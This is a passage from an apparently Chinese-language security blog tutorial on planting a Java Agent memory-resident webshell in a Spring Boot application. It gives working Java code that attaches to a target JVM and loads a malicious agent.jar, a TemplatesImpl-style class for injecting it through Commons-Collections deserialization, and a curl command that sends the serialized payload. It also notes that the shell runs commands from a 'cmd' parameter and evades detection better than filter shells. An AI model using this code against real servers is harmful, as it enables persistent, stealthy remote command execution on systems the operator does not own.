System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

效果实现

将我们的SpringBoot环境启动起来,然后将上述代码运行,输入以下内容,代表内存马已经注入成功

通过url将cmd参数传入后,可以看到命令执行成功

这里只是正常方式的注入,而实际环境中的大部分环境只能反序列化注入或者jsp文件注入

接下来我们尝试通过CC反序列化进行注入Agent内存马,首先编译下面这个Test类为Test.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
static {
try{
java.lang.String path = "E:\\Tools\\ysoserial\\agent.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("com.spring1.Spring1Application")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public Test(){

}
}

使用最近新学习的JavaChains工具进行生成payload,这里使用CC3.2.1动态加载字节码的方式将Agent内存马注入

将我们编译生成的Test.class文件上传上去

然后生成并下载Payload

然后使用curl语句将序列化数据打过去

1
curl -v "http://localhost:8080/cc" --data-binary "@./test.ser"

我们可以看到输入了 【注入成功】,说明我们的Agent内存马已经成功注入

传入cmd参数后,可以看到成功的执行了命令

但是由于doFilter不只会执行一次,而是执行多次

小结

agent内存马的实现形式也是在打Tomcat内存马。他的实现是通过遍历所有的JVM进程,然后向 进程中注入对应的Agent类。

比较

agent内存马与filter内存马相比,会多一步将我们的agent.jar上传到目标上,利用代码将agent.jar进行注入,注入后就可以删除agent.jar

agent内存马相比于filter这些内存马更难查杀

问题

跟着师傅门的文章看,有些情况下注入agent内存马后网站会崩掉,可能的原因是虚拟内存不足

另一个方面的话就是在关键类寻找不对等的情况下,也会将网站打崩

上一篇:
Spring内存马
下一篇:
Groovy脚本执行